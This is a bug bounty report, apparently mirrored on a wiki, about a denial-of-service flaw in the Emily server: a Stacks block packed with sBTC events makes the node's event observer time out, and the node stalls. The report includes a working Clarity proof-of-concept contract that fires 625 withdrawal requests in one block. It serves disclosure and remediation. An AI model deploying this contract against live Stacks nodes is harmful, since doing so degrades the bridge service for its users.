Emily server can crash their connected Stacks node when processing a large number of events
The Emily server processes every sBTC event in a block before answering the Stacks node's event observer, so a block packed with many withdrawal requests makes the response slow enough to time out. The node then restarts its observer process and stalls, leaving the bridge website data out of date.
- Disclosed after under an hour
#41597 [BC-Insight] Emily server can crash their connected Stacks node when processing a large number of events
Submitted on Mar 16th 2025 at 20:35:14 UTC by @vini_btc for Attackathon | Stacks II
- Report ID: #41597
- Report Type: Blockchain/DLT
- Report severity: Insight
- Target: https://github.com/stacks-network/sbtc/tree/immunefi\\_attackaton\\_1.0
- Impacts:
- API crash preventing correct processing of deposits
Description
Brief/Intro
Emily might cause their connected Stacks Node to halt due a timeout processing sbtc events.
Vulnerability Details
If offered a large number of sBTC events in a single block, the Emily server will try to process all of them, delaying the response to the node event observer. The event observer eventually timeouts, restarting the process, leading the node to stall.
Impact Details
All the bridge website information would no longer be up-to-date, degrading the bridge UI/UX significantly.
References
This vulnerability was in part discussed in https://bugs.immunefi.com/dashboard/submission/40692
Proof of Concept
Proof of Concept
The following contract could be used to trigger 625 sbtc withdraw requests in a single block:
(define-private (abuse-withdrawal (res bool) (mes bool))
(begin
;; BTC pubkey: 02e3af28965693b9ce1228f9d468149b831d6a0540b25e8a9900f71372c11fb277
;; BTC pubkey HASH160: 1e51fcdc14be9a148bb0aaec9197eb47c83776fb
(is-err (contract-call? 'SN3R84XZYA63QS28932XQF3G1J8R9PC3W76P9CSQS.sbtc-withdrawal initiate-withdrawal-request u1000 {version: 0x00, hashbytes: 0x1e51fcdc14be9a148bb0aaec9197eb47c83776fb} u0))
res
)
)
(define-public (abuse)
(ok (fold abuse-withdrawal (list
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
true true true true true true true true true true true
) true)))
This leads Emily + connected Stacks node to stall.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely Emily handles all events in a block synchronously before replying to the event observer, with no bound on the number of events or the response time.
Impact
The connected Stacks node could stall and the bridge website information would no longer be up to date, degrading the bridge UI/UX.
What the attacker needed
Ability to submit a contract call; a block with many sBTC events
How it was found
- Deploy a contract that calls the sBTC withdrawal contract many times in one transaction
- Call the contract's public function so a single block contains hundreds of withdrawal requests
- Observe that Emily takes too long to respond to the node's event observer
- Observe the observer timing out, restarting, and the node stalling
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A Stacks node tells a helper service called Emily about new events and waits for a reply. If one block contains a very large number of events, Emily takes too long to answer, the node gives up waiting and restarts that part of itself, and it stops making progress. The result is a stalled node and stale information on the bridge website.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.